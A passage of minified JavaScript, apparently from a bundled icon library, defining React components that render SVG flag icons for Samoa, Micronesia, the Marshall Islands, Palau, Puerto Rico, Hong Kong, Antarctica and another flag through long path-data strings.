1-.068.127l-.206-.111a14 14 0 0 0-.143.2l.131.07a.071.071 0 1 1-.067.126l-.146-.078a.665.665 0 0 0-.092.159.071.071 0 1 1-.142 0c0-.037.037-.113.116-.235a.075.075 0 0 1-.003-.006l-.106-.232a.071.071 0 1 1 .13-.06l.072.16c.045-.065.098-.139.159-.221L2.5 5.61a.071.071 0 1 1 .13-.06l.042.093.072-.096-.101-.223a.071.071 0 0 1 .13-.059l.069.152.138-.18-.056-.21a.071.071 0 0 1 .051-.087Z",clipRule:"evenodd"}))),oe=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"WS_-_Samoa_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#WS_-_Samoa_svg__a)"},(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"WS_-_Samoa_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#WS_-_Samoa_svg__b)"},(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 0v7h8V0H0Z"}),(0,s.createElement)("path",{fill:"#FEFFFF",d:"m1.783 3.886-.53.32.12-.624-.44-.468.597-.025.253-.583.253.583h.596l-.44.493.133.624-.542-.32ZM5.783 3.886l-.53.32.12-.624-.44-.468.597-.025.253-.583.253.583h.596l-.44.493.133.624-.542-.32ZM3.733 2.069l-.499.301.114-.588-.416-.44.563-.023.238-.549.238.549h.561l-.414.463.125.588-.51-.301ZM4.273 4.213l-.312.188.071-.367-.26-.275.352-.015.15-.343.148.343h.35l-.258.29.078.367-.319-.188ZM3.704 6.414l-.748.452.17-.882-.622-.66.843-.035.357-.823.357.823h.843l-.622.695.187.882-.765-.452Z"})))),he=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"FM_-_Federated_States_of_Micronesia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#FM_-_Federated_States_of_Micronesia_svg__a)"},(0,s.createElement)("path",{fill:"#63B3E1",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"FM_-_Federated_States_of_Micronesia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fill:"#F7FCFF",fillRule:"evenodd",clipRule:"evenodd",mask:"url(#FM_-_Federated_States_of_Micronesia_svg__b)"},(0,s.createElement)("path",{d:"m8 3.65-.882.464.169-.982-.714-.696.986-.143L8 1.4l.44.893.987.143-.714.696.169.982L8 3.65ZM8 9.65l-.882.463.169-.981-.714-.696.986-.143L8 7.4l.442.893.986.143-.714.696.169.982L8 9.65ZM4.9 6.75l-.882.464.169-.982-.714-.696.986-.143L4.9 4.5l.44.893.987.143-.714.696.169.982L4.9 6.75ZM11 6.75l-.882.464.169-.982-.714-.696.986-.143L11 4.5l.44.893.987.143-.714.696.169.982L11 6.75Z"})))),ve=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MH_-_Marshall_Islands_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("rect",{width:16,height:12,fill:"#fff",rx:0})),(0,s.createElement)("g",{mask:"url(#MH_-_Marshall_Islands_svg__a)"},(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"MH_-_Marshall_Islands_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#MH_-_Marshall_Islands_svg__b)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m4 5.5-.409 1.472.004-1.528-.79 1.308.416-1.47-1.114 1.045.797-1.303-1.355.706 1.12-1.04-1.496.315 1.358-.7-1.524-.1 1.496-.307-1.44-.508 1.524.108-1.25-.878 1.438.515-.968-1.183 1.246.884-.612-1.4.961 1.188-.211-1.513.605 1.403L4 1l.204 1.514.605-1.403-.211 1.513.96-1.187-.611 1.4 1.246-.885-.968 1.183 1.439-.515-1.25.878 1.523-.108-1.44.508 1.496.307-1.524.1 1.358.7-1.495-.315L6.45 5.73l-1.355-.706.797 1.303L4.78 5.282l.416 1.47-.79-1.308.003 1.528L4 5.5Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",d:"M-.391 12.373 16.629.607v3.836l-17.02 7.93Z"}),(0,s.createElement)("path",{fill:"#E2AE57",d:"m-.391 12.373 17.02-14.766v3.836L-.39 12.373Z"})))),ue=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"PW_-_Palau_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#PW_-_Palau_svg__a)"},(0,s.createElement)("path",{fill:"#61C6F0",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"PW_-_Palau_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#PW_-_Palau_svg__b)"},(0,s.createElement)("path",{fill:"#FBCD17",fillRule:"evenodd",d:"M5.75 9a3.25 3.25 0 1 0 0-6.5 3.25 3.25 0 0 0 0 6.5Z",clipRule:"evenodd"})))),_e=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"PR_-_Puerto_Rico_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#PR_-_Puerto_Rico_svg__a)"},(0,s.createElement)("path",{fill:"#EF0000",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"PR_-_Puerto_Rico_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#PR_-_Puerto_Rico_svg__b)"},(0,s.createElement)("path",{fill:"#EF0000",stroke:"#F7FCFF",strokeWidth:2,d:"M0 4h-1v4h18V4H0Z"})),(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 0v12l9-6-9-6Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"PR_-_Puerto_Rico_svg__c",width:9,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12l9-6-9-6Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#PR_-_Puerto_Rico_svg__c)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m3.344 7.108-1.836.97.894-1.948-1.14-1.04 1.407-.052.675-1.76.515 1.76h1.404L4.327 6.13l.744 1.947-1.727-.969Z",clipRule:"evenodd"})))),pe=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"HK_-_Hong_Kong_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#HK_-_Hong_Kong_svg__a)"},(0,s.createElement)("path",{fill:"#EA1A1A",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"HK_-_Hong_Kong_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#HK_-_Hong_Kong_svg__b)"},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M7.935 5.787s-2.895-2.581.56-4.085c0 0 1.004 1.108.25 2.352-.247.408-.456.7-.612.919-.321.448-.425.593-.198.814ZM3.662 3.934C3.464 7.696 7.067 6.26 7.067 6.26c-.3.104-.382-.054-.64-.541-.126-.238-.293-.555-.548-.959-.776-1.23-2.217-.827-2.217-.827Zm5.457 1.98s3.716 1.112 1.224 3.938c0 0-1.38-.579-1.224-2.025.051-.474.117-.826.166-1.091.1-.543.133-.718-.166-.822Zm-.977.867s.667 3.821-2.975 2.855c0 0-.1-1.492 1.264-2 .447-.166.791-.265 1.05-.34.53-.152.701-.2.661-.515Zm4.597-1.643c-2.277-3.001-4.102.421-4.102.421.162-.272.327-.206.838 0 .25.1.582.234 1.038.378 1.387.439 2.226-.8 2.226-.8Z",clipRule:"evenodd"}),(0,s.createElement)("path",{stroke:"#EA1A1A",strokeWidth:.5,d:"M5.08 5.104S5.809 6.25 7 6.25M7.93 3.525s-.653 1.205-.093 2.258M11.055 4.88s-1.525-.23-2.323.655M10.164 7.672S9.86 6.16 8.754 5.714M6.967 8.493S8.284 7.69 8.325 6.5"})))),fe=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"AQ_-_Antarctica_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#AQ_-_Antarctica_svg__a)"},(0,s.createElement)("path",{fill:"#5196ED",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"AQ_-_Antarctica_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",filter:"url(#AQ_-_Antarctica_svg__c)",mask:"url(#AQ_-_Antarctica_svg__b)"},(0,s.createElement)("path",{fill:"#fff",d:"M4.359 3.947s1.032.566 1.175.723c.144.156.374.732.732.406.36-.325.718-.072.718-.59s.535-1.72 1.312-1.419c.777.301 1.416.113 1.596.233.179.12.61.719.944.719.335 0 .502.35.526.855.024.506-.107.555.203.615.311.06.43.29.276.59-.156.302-.144.17-.12.482.024.314-.31 2.161-1.34 2.342-1.028.18-2.002.084-1.74-.265.264-.35.628-.752.09-.836-.538-.084-.877-.156-1.415-.012-.538.145-1.1.374-1.435-.06-.335-.434-.263-.747-.538-.952-.275-.205-.61-.168-.335-.566.275-.398.502-.25.275-.562C5.056 5.336 4.2 5.2 4.2 4.887c0-.314-.546-1 .16-.94Z"}),(0,s.createElement)("path",{fill:"#F5F8FB",d:"M4.359 3.947s1.032.566 1.175.723c.144.156.374.732.732.406.36-.325.718-.072.718-.59s.535-1.72 1.312-1.419c.777.301 1.416.113 1.596.233.179.12.61.719.944.719.335 0 .502.35.526.855.024.506-.107.555.203.615.311.06.43.29.276.59-.156.302-.144.17-.12.482.024.314-.31 2.161-1.34 2.342-1.028.18-2.002.084-1.74-.265.264-.35.628-.752.09-.836-.538-.084-.877-.156-1.415-.012-.538.145-1.1.374-1.435-.06-.335-.434-.263-.747-.538-.952-.275-.205-.61-.168-.335-.566.275-.398.502-.25.275-.562C5.056 5.336 4.2 5.2 4.2 4.887c0-.314-.546-1 .16-.94Z"}))),(0,s.createElement)("defs",null,(0,s.createElement)("filter",{id:"AQ_-_Antarctica_svg__c",width:8.511,height:6.573,x:3.698,y:2.719,colorInterpolationFilters:"sRGB",filterUnits:"userSpaceOnUse"},(0,s.createElement)("feFlood",{floodOpacity:0,result:"BackgroundImageFix"}),(0,s.createElement)("feColorMatrix",{in:"SourceAlpha",result:"hardAlpha",values:"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0"}),(0,s.createElement)("feOffset",null),(0,s.createElement)("feGaussianBlur",{stdDeviation:.15}),(0,s.createElement)("feColorMatrix",{values:"0 0 0 0 0.0941176 0 0 0 0 0.32549 0 0 0 0 0.639216 0 0 0 0.43 0"}),(0,s.createElement)("feBlend",{in2:"BackgroundImageFix",result:"effect1_dropShadow_270_54950"}),(0,s.createElement)("feBlend",{in:"SourceGraphic",in2:"effect1_dropShadow_270_54950",result:"shape"})))),ge=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("path",{fill:"#C00",d:"M0 0h4v4H0z"}),(0,s.createElement)("path",{fill:"#08672F",d:"M4 .52V0h-.49L0 3.48V4h.49L4 .52Z"}),(0,s.createElement)("path",{fill:"#08672F",d:"M0 .52V0h.49L4 3.48V4h-.499L0 .52Z"}),(0,s.createElement)("path",{fill:"#fff",d:"M0 1.604 4 1.6v.796L0 2.4v-.796Z"}),(0,s.createElement)("path",{fill:"#fff",d:"M1.6 0h.796L2.4 4h-.796L1.6 0ZM0 4h4v4H0V4Z"}),(0,s.createElement)("path",{fill:"#000",d:"M1.2 4.8h.5v.5h-.5zM1.2 6.8h.5v.5h-.5zM1.2 5.8h.5v.5h-.5zM1 8h.5v.5H1zM2.2 5.8h.5v.5h-.5zM2 8h.5v.5H2zM2.2 4.8h.5v.5h-.5zM2.2 6.8h.5v.5h-.5z"}),(0,s.createElement)("path",{fill:"#C00",d:"M0 12h4V8H0v4Z"}),(0,s.createElement)("path",{fill:"#0092C8",d:"M4 0h12v12H4V0Z"}),(0,s.createElement)("path",{fill:"#FFCF00",stroke:"#650000",strokeWidth:.05,d:"M1.335 9.077c-.038-.046 0-.131.033-.095-.017-.035.012-.062.025-.045-.006-.028.022-.047.035-.02-.004-.032.037-.05.048-.016 0-.031.041-.056.05-.01.008-.035.053-.04.057.01.013-.03.047-.027.049.015.014-.02.052.01.046.045.023-.006.052.044.023.08.05-.028.063.064.032.106.016.01.017.001.031.01.014.007.04.02.063.025.02 0 .098-.003.114-.005.015-.003.037-.011.063-.02.027-.01.066-.01.101-.02.029-.003.82.014.843.012.022-.003.056-.026.054-.054-.002-.028-.028-.049-.054-.051a1.499 1.499 0 0 0-.186.002.168.168 0 0 0-.077.036c-.008.006-.022.028-.034.042-.011.01-.042.011-.042-.002 0-.008-.003.002-.01.005-.01.007-.055.008-.053 0 .003-.01 0-.012-.012-.002a.15.15 0 0 1-.082.002c.006-.012.006-.01-.012-.001-.012.005-.06.01-.064 0 0-.009-.006-.005-.013-.003-.055.016-.06-.002-.052-.01.009-.007.022-.051.008-.049l-.131.026c-.03.005-.246 0-.275-.003-.03-.002-.063-.032-.065-.074-.003-.067.049-.084.08-.094a.69.69 0 0 1 .142-.026c.032 0 .122.012.146.002a.817.817 0 0 1 .12-.041c.031-.003.12.008.163.062-.022.01-.033.016-.008.007l.143-.032c.08-.004.059.009.02.02-.013.042-.129.103-.165.11a.517.517 0 0 1-.133-.001c-.017-.002-.1-.006-.13-.026a.378.378 0 0 0-.178-.057c-.037 0-.143.012-.142.05 0 .069.098.072.14.07.042-.003.147-.008.177-.02a.426.426 0 0 1 .129-.017c.035 0 .086.009.102.006.016-.003.052-.003.07-.016a.178.178 0 0 1 .094-.026c.039 0 .324-.012.363-.01.056 0 .095.065.096.12 0 .025-.012.063-.022.069.017.001.06.006.075.01.027.005.07.036.075.065a.2.2 0 0 0-.083-.035l-.678-.001a.356.356 0 0 1 .26.187c.023.038.08.023.1.018.021-.005.046-.028.063-.046.018-.018.045-.023.057-.018.028-.003.032.028.022.043-.01.016.002.01.03.01.028 0 .052.01.069.033-.016.016-.024.003-.001.006.023.002.05.046.033.059-.015.007-.019.005 0 .007.029.003.037.022.04.057-.024.005-.012-.003 0 .01.013.012.03.069-.013.071-.016-.008-.016-.01-.013.008.004.018-.005.061-.03.061-.033.007-.064-.013-.068-.036-.003-.023-.003.045-.051.055-.045.011-.07-.016-.073-.03-.004-.012-.002-.002-.02-.004-.017-.003-.039-.003-.048-.033 0-.018.003-.042.034-.045.014-.003.018-.022.008-.024-.01-.003-.002-.041.02-.031.023.01.076.013.088.025.012.013.016-.01-.003-.03-.02-.02-.137-.062-.168-.046a.423.423 0 0 1-.218.028c-.02-.005-.081.009-.11-.084a.204.204 0 0 0-.152-.148c-.198-.02-.188-.004-.059.002 0 .018-.005.054.016.06.035-.005.108-.022.125-.006.018.015.035.028.032.064-.004.035.001.025-.014.04-.016.016-.01.046.015.057.025.01.035.023.051.038.016.015-.007.046-.02.036-.015-.01-.015-.01-.017.01-.001.02-.019.059-.048.062-.007-.003-.005-.013-.004-.021.002-.018-.006.022-.015.033-.006.008-.056.022-.07.015.007-.016.003-.01-.01-.002-.011.005-.076.014-.047-.018.007-.012-.01.015-.02.02-.008.005-.047.008-.047-.007-.012.01-.04.01-.045.002-.009-.01-.01.008-.025.01-.016.003-.05-.002-.052-.023-.002-.02.003-.007-.016-.005-.047.033-.07-.012-.07-.028 0-.015-.002-.033.004-.043.005-.01-.033-.014-.022-.034.014-.024.027-.042.053-.038.012.003.01-.005.005-.015-.005-.01.014-.015.037-.005.023.01.039.036.046.059.007.023.06.005.084.007.022.003.024-.038.01-.05-.014-.014-.052-.06-.068-.075-.016-.015-.005-.069.009-.082.081-.058.036-.076.007-.071a.315.315 0 0 0-.131.065c-.025.028-.215.166-.233.181-.017.016-.043.02-.053.002-.01-.018-.018-.006-.016.02.014.097-.068.127-.083.126a.07.07 0 0 1-.034-.016c-.01.054-.056.06-.097.054 0-.006.008-.018.003-.014-.013.019-.054.017-.09.014-.002-.011.012-.025.005-.017-.012.023-.032.02-.066.017 0-.005.016-.022.008-.012-.014.017-.045.011-.068.012-.003-.004.012-.03-.002-.013-.013.015-.04.018-.067.014-.005-.013.006-.013.008-.021.007-.013-.003 0-.012 0-.009 0-.02.003-.026-.01-.005-.013-.002.013-.007.02-.006.006-.011.02-.029.025-.017.005-.063.01-.07-.013-.01-.01-.014-.033-.007-.046.007-.013-.033.025-.05.028-.052.01-.058-.074-.036-.082.023-.007.02-.02.007-.03C.967 9.59.96 9.55.976 9.537c.016-.013.052-.02.075-.005.014.01.043.043.037.018-.004-.016.006-.036.017-.045.01-.009.04-.011.048.009.018.047.031.067.054.066a.833.833 0 0 1 .133-.03c.025-.006.156-.02.156-.032-.079.029-.11-.008-.12-.006-.008.003-.03-.008-.03-.015 0-.016.02-.014-.008-.009-.016-.001-.031-.002-.046-.02-.002-.01.02-.042.027-.07-.018-.005-.058.03-.072.06-.009-.012-.012-.001-.045.007a.07.07 0 0 1-.055-.003c-.014-.007-.069-.051-.042-.057l-.02-.007c-.02-.009-.038-.026-.032-.03-.005-.008.005-.008-.003-.01-.01-.002-.036-.022-.03-.03l-.028-.015C.979 9.306.967 9.28.965 9.266c-.011.001-.035-.021-.024-.028C.922 9.224.907 9.2.919 9.192c-.01-.009-.018-.025-.01-.019-.012-.014-.008-.03 0-.03.009 0 .006-.04-.01-.04s-.041.013-.06 0c-.015-.013-.028-.067-.014-.09.014-.023.042-.048.056-.046.014.003.007.008.004-.015-.004-.023.02-.04.035-.046.018-.009.054-.003.065.008.01.01.014.01.014-.008 0-.013.013-.02.025-.022.02-.005.036 0 .043.01.01.016.017.035.003.05-.014.016-.001.003.021-.002.015-.006.041.001.046.018.006.017.01.048-.005.063-.016.016-.039.054-.027.067.013.013.051.069.06.077.009.007.02.025.033.023l.042-.008c.049-.01.07-.016.008-.014.014-.02.044-.027.057-.03-.012-.018.03-.056.03-.06ZM1.335 10.47c-.038-.047 0-.132.033-.096-.017-.035.012-.062.025-.045-.006-.028.022-.047.035-.02-.004-.032.037-.05.048-.016 0-.031.041-.056.05-.01.008-.035.053-.04.057.01.013-.03.047-.027.049.015.014-.02.052.01.046.044.023-.005.052.045.023.082.05-.029.063.064.032.105.016.01.017.002.031.01a.27.27 0 0 0 .063.025c.02 0 .098-.003.114-.005.015-.003.037-.012.063-.02.027-.01.066-.01.101-.02.029-.003.82.014.843.012.022-.003.056-.026.054-.054-.002-.028-.028-.049-.054-.051a1.508 1.508 0 0 0-.186.002.168.168 0 0 0-.077.036c-.008.006-.022.028-.034.042-.011.01-.042.011-.042-.002 0-.008-.003.002-.01.005-.01.007-.055.008-.053 0 .003-.01 0-.012-.012-.002a.149.149 0 0 1-.082.002c.006-.012.006-.01-.012-.001-.012.005-.06.01-.064 0 0-.009-.006-.005-.013-.003-.055.016-.06-.002-.052-.01.009-.007.022-.051.008-.049l-.131.026c-.03.005-.246 0-.275-.003-.03-.002-.063-.032-.065-.074-.003-.067.049-.084.08-.094a.692.692 0 0 1 .142-.026c.032 0 .122.012.146.002a.818.818 0 0 1 .12-.041c.031-.003.12.008.163.062-.022.01-.033.016-.008.007l.143-.032c.08-.004.059.009.02.02-.013.042-.129.102-.165.11a.517.517 0 0 1-.133-.001c-.017-.002-.1-.006-.13-.027a.379.379 0 0 0-.178-.056c-.037 0-.143.012-.142.05 0 .069.098.072.14.07.042-.003.147-.008.177-.02a.429.429 0 0 1 .129-.017c.035 0 .086.009.102.006.016-.002.052-.003.07-.016a.178.178 0 0 1 .094-.026c.039 0 .324-.012.363-.01.056 0 .095.065.096.12 0 .025-.012.063-.022.069.017.001.06.006.075.01.027.005.07.036.075.065a.201.201 0 0 0-.083-.035l-.678-.001a.356.356 0 0 1 .26.187c.023.038.08.023.1.018.021-.005.046-.028.063-.046.018-.018.045-.023.057-.018.028-.003.032.028.022.043-.01.015.002.01.03.01.028 0 .052.01.069.033-.016.016-.024.003-.001.006.023.002.05.046.033.059-.015.008-.019.005 0 .007.029.003.037.022.04.057-.024.005-.012-.003 0 .01.013.012.03.069-.013.071-.016-.008-.016-.009-.013.008.004.018-.005.061-.03.061-.033.007-.064-.013-.068-.036-.003-.023-.003.045-.051.055-.045.011-.07-.016-.073-.03-.004-.012-.002-.002-.02-.004-.017-.003-.039-.003-.048-.034 0-.017.003-.04.034-.044.014-.003.018-.022.008-.024-.01-.003-.002-.041.02-.031.023.01.076.013.088.025.012.013.016-.01-.003-.03-.02-.02-.137-.061-.168-.046a.422.422 0 0 1-.218.028c-.02-.005-.081.009-.11-.084a.204.204 0 0 0-.152-.148c-.198-.02-.188-.004-.059.002 0 .018-.005.054.016.06.035-.005.108-.022.125-.006.018.015.035.028.032.063-.004.036.001.026-.014.041-.016.016-.01.046.015.057.025.01.035.023.051.038.016.015-.007.046-.02.036-.015-.01-.015-.01-.017.01-.001.02-.019.059-.048.062-.007-.003-.005-.013-.004-.021.002-.018-.006.022-.015.033-.006.008-.056.022-.07.015.007-.016.003-.01-.01-.002-.011.005-.076.014-.047-.018.007-.012-.01.015-.02.02-.008.005-.047.008-.047-.007-.012.01-.04.01-.045.002-.009-.01-.01.008-.025.01-.016.003-.05-.002-.052-.023-.002-.02.003-.007-.016-.005-.047.033-.07-.012-.07-.028 0-.015-.002-.033.004-.043.005-.01-.033-.014-.022-.034.014-.024.027-.042.053-.038.012.003.01-.005.005-.015-.005-.01.014-.015.037-.005.023.01.039.036.046.059.007.023.06.005.084.007.022.003.024-.038.01-.05-.014-.014-.052-.06-.068-.075-.016-.015-.005-.069.009-.082.081-.058.036-.076.007-.071a.315.315 0 0 0-.131.065c-.025.028-.215.166-.233.181-.017.016-.043.02-.053.002-.01-.018-.018-.005-.016.02.014.096-.068.127-.083.126a.07.07 0 0 1-.034-.016c-.01.054-.056.06-.097.054 0-.006.008-.018.003-.014-.013.019-.054.017-.09.014-.002-.011.012-.025.005-.017-.012.023-.032.02-.066.017 0-.005.016-.022.008-.012-.014.017-.045.011-.068.012-.003-.004.012-.03-.002-.013-.013.015-.04.018-.067.014-.005-.013.006-.013.008-.021.007-.013-.003 0-.012 0-.009 0-.02.003-.026-.01-.005-.013-.002.013-.007.02-.006.006-.011.02-.029.025-.017.005-.063.01-.07-.013-.01-.01-.014-.033-.007-.046.007-.013-.033.025-.05.028-.052.01-.058-.074-.036-.082.023-.007.02-.02.007-.03-.012-.01-.019-.051-.003-.064.016-.013.052-.02.075-.005.014.01.043.043.037.018-.004-.016.006-.036.017-.044.01-.01.04-.012.048.008.018.047.031.067.054.066a.83.83 0 0 1 .133-.03c.025-.006.156-.02.156-.032-.079.029-.11-.008-.12-.006-.008.003-.03-.008-.03-.015 0-.016.02-.014-.008-.009-.016-.001-.031-.002-.046-.02-.002-.01.02-.042.027-.07-.018-.005-.058.03-.072.06-.009-.012-.012-.001-.045.007a.07.07 0 0 1-.055-.003c-.014-.007-.069-.051-.042-.057-.007-.004-.015-.006-.02-.007-.02-.009-.038-.026-.032-.03-.005-.008.005-.008-.003-.01-.01-.002-.036-.022-.03-.03l-.028-.015c-.013-.008-.025-.034-.027-.047-.011.001-.035-.021-.024-.028-.019-.014-.034-.038-.022-.046-.01-.009-.018-.025-.01-.019-.012-.014-.008-.03 0-.03.009 0 .006-.04-.01-.04s-.041.013-.06 0c-.015-.013-.028-.067-.014-.09.014-.023.042-.048.056-.046.014.003.007.008.004-.015-.004-.023.02-.04.035-.046.018-.009.054-.003.065.008.01.01.014.01.014-.008 0-.013.013-.02.025-.022.02-.005.036 0 .043.01.01.016.017.035.003.05-.014.016-.001.003.021-.002.015-.006.041.001.046.018.006.018.01.048-.005.063-.016.016-.039.054-.027.067.013.013.051.069.06.077.009.007.02.025.033.023l.042-.008c.049-.01.07-.016.008-.014.014-.02.044-.027.057-.03-.012-.018.03-.056.03-.06Z"}),(0,s.createElement)("path",{fill:"#FFCF00",fillRule:"evenodd",d:"M9.823 1.549c.185-.046.485-.061.646-.034.032.007.09.012.149.018.095.009.19.018.176.03a1.446 1.446 0 0 0-.148.396c0 .021.755.546.787.546.042 0 .106.076.089.106a1.05 1.05 0 0 1-.104.105c-.046.044-.122.27-.194.522a.672.672 0 0 1 .165-.135c.11-.074 1.082-.812 1.365-1.036.032-.023-.048-.038-.215-.036a1.83 1.83 0 0 0-.42.057c-.225.057-.393-.118-.465-.193a.278.278 0 0 0-.031-.03c-.063-.043-.154-.174-.154-.223 0-.01.061-.002.141.02.186.052.35.05.562-.005.19-.049.392-.06.605-.034l.028.004c.038.007.063.01.078.01.014.092.105.389.122.403.034.03.779.323.836.33.084.01.118.044.118.116 0 .07-.086.135-.209.158-.143.028-.502.442-.753.87-.17.287-.262.5-.262.604 0 .106.063.51.129.817.04.182.05.213.071.184.024-.03.087-.034.51-.034h.485l.164-.286c.09-.158.163-.291.158-.294a9.572 9.572 0 0 0-.546-.044c-.296-.019-.54-.038-.545-.04a8.881 8.881 0 0 1 .23-.43l.235-.422.476.08.15.025c.2.034.361.06.387.066.046.008.063 0 .1-.066a.41.41 0 0 0 .027-.058v.01c-.005.137-.02.483-.168.77l-.365.695v.48h-.084a.45.45 0 0 0-.084.005l.016.099.015.085a.635.635 0 0 1 .02.171c-.007.01-.062.02-.121.02l-.11.001-.061.16a6.55 6.55 0 0 1-.618.997l-.051.065.118.055c.167.076.34.258.454.478.088.174.093.186.093.37 0 .18-.049.41-.089.413l-.51.078-.233.036c-.4.061-.738.108-.753.103-.044-.016-.15-.194-.186-.31l-.013-.043c-.014-.044-.026-.082-.031-.093-.004-.017-.087.013-.256.1a3.44 3.44 0 0 1-.852.306 3.73 3.73 0 0 1-2.07-.127 6.052 6.052 0 0 1-.84-.416c-.39-.241-.551-.383-1.203-1.066-.211-.22-.266-.264-.41-.336-.145-.072-.187-.083-.314-.083-.118 0-.15-.006-.175-.04-.053-.074-.032-.16.07-.27 0 0 .031-.072.02-.079l-.247-.16c-.19-.098.499-1.244.784-1.544.139-.148.145-.157.145-.258 0-.203.13-.603.266-.836.064-.105.07-.124.049-.173-.04-.089 0-.14.257-.324.51-.365.808-.59.817-.615.015-.047-.207-.03-.378.03-.342.12-.65.148-.798.071-.067-.033-.17-.152-.17-.196 0-.007.07-.007.156 0 .064.004.051-.1.04-.193a.829.829 0 0 1-.007-.086c0-.03.003-.053.007-.053l.066.023.022.009c.15.052.378.04.67-.04.143-.04.324-.079.4-.087 0 0 